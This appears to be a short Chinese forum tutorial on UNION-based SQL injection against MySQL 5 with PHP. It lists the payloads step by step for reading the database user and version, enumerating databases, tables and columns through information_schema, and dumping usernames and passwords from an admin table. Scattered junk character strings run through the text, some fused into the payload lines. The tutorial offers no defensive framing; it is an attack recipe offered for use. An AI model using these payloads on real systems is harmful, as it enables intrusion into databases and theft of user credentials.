mysql盲注手册

admin

教程内容:Mysql 5+php 注入

  A% z4 @3 `+ L& m' S8 a+ y
# W0 ?9 K: r, s2 B9 ^
一.查看MYSQL基本信息(库名,版本,用户)

) X: ^. ~) `, q) @. cand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
5 e- O$ e6 P. w; V% u
二.查数据库

and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
- d. a' @. X1 ~3 b2 Hlimit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

: U% C! H% c( L9 x2 o5 k三.暴表
6 `( i+ ?: Q  Z& a
* ]7 m4 ^; i% A4 O: _* _" uand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

四.暴字段
+ {; `, M2 h6 k; i) X  q0 h
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
. {" E0 Q3 t: {
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
6 B9 m& u9 [- c* h1 L1 q: v
. B+ e6 `  @7 z, S: F; U/ @. Q+ e$ ^五.暴数据
9 z7 j& u0 O. b4 e2 k$ {
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*

5 n8 P8 h9 U) ?3 L5 q; p  K! h
. p1 d4 P( [7 g9 Y这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。